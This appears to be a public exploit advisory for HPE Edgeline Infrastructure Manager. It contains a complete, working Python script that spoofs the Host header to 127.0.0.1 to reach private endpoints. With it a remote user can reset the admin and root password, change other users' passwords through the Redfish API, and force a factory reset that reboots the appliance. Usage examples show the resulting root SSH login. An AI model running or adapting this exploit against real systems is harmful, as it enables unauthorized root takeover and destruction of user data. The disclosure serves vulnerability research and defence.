HPE Edgeline Infrastructure Manager Improper Authorization

HPE Edgeline Infrastructure Manager Improper is vulnerable to multiple forms of broken authentication that can be exploited.

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# billhader.py
#
# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# In \opt\hpe\eim\containers\api\eim\api\urls.py, some private paths are defined
# which are intended to only be accessible via the local console.
#
#    path('private/AdminPassReset', views.admin_password_reset), <-- ice
#    path('private/ResetAppliance', views.reset_appliance), <-- ice
#    path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring
#
# These are meant to only be exposed for the local GUI so admins can perform
# functions without authenticating. The way do they do this is by checking the
# Host header and returning a 404 not found for not-localhost, but 200 OK for
# 127.0.0.1. This is of course flawed because any remote user has control over
# the Host header and they can call these functions with valid JSON, eg.
# /private/AdminPassReset to reset the admin password and login via SSH (default)
# as root due to the Administrator and root always synced to the same password.
# They can also call ResetAppliance and the appliance will immediately reset
# user data and cause the entire server to reboot.
#
# Administrator is the default and permanent web console user and as mentioned it's
# tied to the root OS user account. When Administrator changes their password, the
# backend changes the root password to the same. Other users can be added to the
# web console, but there is nothing stopping them changing any other user’s password.
# Not even sure if this is a bug or just wow functionality because although the
# users appear different, they all seem to share the same role. Broken or incomplete
# design I guess. So any user can change the Administrator password and use it to
# login as root via the default open SSH server, start setting up camp, etc.
#
# Usage examples
# > billhader.py 10.0.0.10 pre_root_passwd -n letmein
# {"RootPasswd": "Modified", "UserPassword": "Modified"}
#
# > ssh root@10.0.0.10
# root@10.10.10.20's password: [letmein]
# [root@hpe-eim ~]#
#
# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123
# login succeeded
# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []}
#
# (root password is now newpassword default of 'letmein')
#
# > billhader.py 10.10.10.20 pre_factory_reset
# Lost your password huh? Are you sure you want to factory reset this server?
# yes
# done
#

import os
import sys
import argparse
import requests
import urllib.parse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BINGO = '127.0.0.1' # not localhost :')
DEFAULT_PORT = 443

class BillHader(object):
  def __init__(self, args):
    self.target = args.target
    self.action = args.action
    self.newpassword = args.newpassword
    self.username = args.username
    self.password = args.password

  def run(self):
    target = "https://" + self.target + ':' + str(DEFAULT_PORT)

    session = requests.Session()
    session.verify = False

    if(self.action == 'pre_root_passwd'):
      headers = {'Host':BINGO}

      data = \
      {'Password':self.newpassword,
      'ConfirmPassword':self.newpassword}

      try:
        resp = session.post(target + "/private/AdminPassReset",
          headers=headers,
          data=json.dumps(data))
      except Exception as error:
        print("Error: %s" % error)
        return -1

      print("%s" % resp.text)

    if(self.action == 'post_root_passwd'):
      data = \
      {'UserName':self.username,
      'Password':self.password}

      try:
        resp = session.post(target + "/redfish/v1/SessionService/Sessions",
          data=json.dumps(data))
      except Exception as error:
        print("Error: %s" % error)
        return -1

      if(resp.status_code != 201):
        print("login failed")
        return -1
      else:
        print("login succeeded")

      try:
        token = resp.headers['x-auth-token']
      except:
        print("Error: couldn't parse token from response header")
        return -1

      if(token == None):
        print("Error: couldn't parse token from session")
        return -1

      headers = {'X-Auth-Token':token}

      data = {'Password':self.newpassword}

      try:
        resp = session.patch(target + "/redfish/v1/AccountService/Accounts/1",
          headers=headers,
          data=json.dumps(data))
      except Exception as error:
        print("Error: %s" % error)
        return -1

      print("%s" % resp.text)

    if(self.action == 'pre_factory_reset'):
      print("Lost your password huh? Are you sure you want to factory reset this server?")

      choice = input().lower()

      if('yes' not in choice):
        print("cool, exiting")
        return -1

      headers = {'Host':BINGO}

      data = {'ResetRequired':'true'}

      try:
        resp = session.post(target + "/private/ResetAppliance", \
          headers=headers,
          data=json.dumps(data))
      except Exception as error:
        print("Error: %s" % error)
        return -1

      print("done")

    return 0

def arg_parse():
  parser = argparse.ArgumentParser()

  parser.add_argument("target",
            type=str,
            help="EIM host")

  parser.add_argument("action",
            type=str,
            choices=['pre_root_passwd', 'post_root_passwd', 'pre_factory_reset'],
            help="Which action to perform on the server")

  parser.add_argument("-n",
            "--newpassword",
            type=str,
            default="letmein",
            help="New password to set for root account (letmein)")

  parser.add_argument("-u",
            "--username",
            type=str,
            help="Valid username (for post_root_reset)")

  parser.add_argument("-p",
            "--password",
            type=str,
            help="Valid password (for post_root_reset)")

  args = parser.parse_args()

  return args

def main():
  args = arg_parse()

  bill = BillHader(args)

  result = bill.run()

  if(result > 0):
    sys.exit(-1)

if(__name__ == '__main__'):
  main()
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